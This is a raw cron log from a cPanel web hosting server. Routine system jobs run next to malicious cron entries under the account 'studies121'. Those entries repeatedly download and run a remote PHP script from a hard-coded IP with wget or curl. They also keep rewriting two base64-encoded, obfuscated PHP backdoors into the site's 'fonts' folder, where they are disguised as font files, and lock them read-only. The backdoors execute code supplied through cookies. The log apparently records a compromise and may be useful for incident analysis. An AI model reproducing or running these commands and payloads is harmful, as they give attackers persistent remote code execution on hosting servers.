Sep  6 15:29:01 ip-184-168-122-23 CROND[19964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:30:01 ip-184-168-122-23 CROND[20213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:30:01 ip-184-168-122-23 CROND[20215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:30:01 ip-184-168-122-23 CROND[20216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:30:01 ip-184-168-122-23 CROND[20217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:30:01 ip-184-168-122-23 CROND[20218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:30:01 ip-184-168-122-23 CROND[20220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:30:01 ip-184-168-122-23 CROND[20219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:30:01 ip-184-168-122-23 CROND[20222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:31:01 ip-184-168-122-23 CROND[20370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:31:01 ip-184-168-122-23 CROND[20372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:31:01 ip-184-168-122-23 CROND[20373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:31:01 ip-184-168-122-23 CROND[20371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:31:01 ip-184-168-122-23 CROND[20374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:32:01 ip-184-168-122-23 CROND[20524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:32:01 ip-184-168-122-23 CROND[20525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:32:01 ip-184-168-122-23 CROND[20528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:32:01 ip-184-168-122-23 CROND[20529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:32:01 ip-184-168-122-23 CROND[20527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:33:01 ip-184-168-122-23 CROND[20675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:33:01 ip-184-168-122-23 CROND[20676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:33:01 ip-184-168-122-23 CROND[20679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:33:01 ip-184-168-122-23 CROND[20681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:34:01 ip-184-168-122-23 CROND[20809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:34:01 ip-184-168-122-23 CROND[20811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:34:01 ip-184-168-122-23 CROND[20810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:34:01 ip-184-168-122-23 CROND[20813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:34:01 ip-184-168-122-23 CROND[20816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:35:01 ip-184-168-122-23 CROND[20946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:35:01 ip-184-168-122-23 CROND[20949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:35:01 ip-184-168-122-23 CROND[20948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:35:01 ip-184-168-122-23 CROND[20952]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:35:01 ip-184-168-122-23 CROND[20953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:35:01 ip-184-168-122-23 CROND[20950]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 15:35:01 ip-184-168-122-23 CROND[20951]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 15:35:01 ip-184-168-122-23 CROND[20954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:36:01 ip-184-168-122-23 CROND[21123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:36:01 ip-184-168-122-23 CROND[21125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:36:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:36:01 ip-184-168-122-23 CROND[21126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:36:01 ip-184-168-122-23 CROND[21127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:37:01 ip-184-168-122-23 CROND[21304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:37:01 ip-184-168-122-23 CROND[21306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:37:01 ip-184-168-122-23 CROND[21305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:37:01 ip-184-168-122-23 CROND[21307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:38:01 ip-184-168-122-23 CROND[21518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:38:01 ip-184-168-122-23 CROND[21520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:38:01 ip-184-168-122-23 CROND[21523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:38:01 ip-184-168-122-23 CROND[21522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:38:01 ip-184-168-122-23 CROND[21526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:39:01 ip-184-168-122-23 CROND[21698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:39:01 ip-184-168-122-23 CROND[21699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:39:01 ip-184-168-122-23 CROND[21700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:39:01 ip-184-168-122-23 CROND[21703]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 15:39:01 ip-184-168-122-23 CROND[21702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:40:01 ip-184-168-122-23 CROND[21854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:40:01 ip-184-168-122-23 CROND[21856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:40:01 ip-184-168-122-23 CROND[21862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:40:01 ip-184-168-122-23 CROND[21858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:40:01 ip-184-168-122-23 CROND[21859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:40:01 ip-184-168-122-23 CROND[21861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:40:01 ip-184-168-122-23 CROND[21860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:40:01 ip-184-168-122-23 CROND[21864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:41:01 ip-184-168-122-23 CROND[22006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:41:01 ip-184-168-122-23 CROND[22008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:41:01 ip-184-168-122-23 CROND[22011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:41:01 ip-184-168-122-23 CROND[22012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
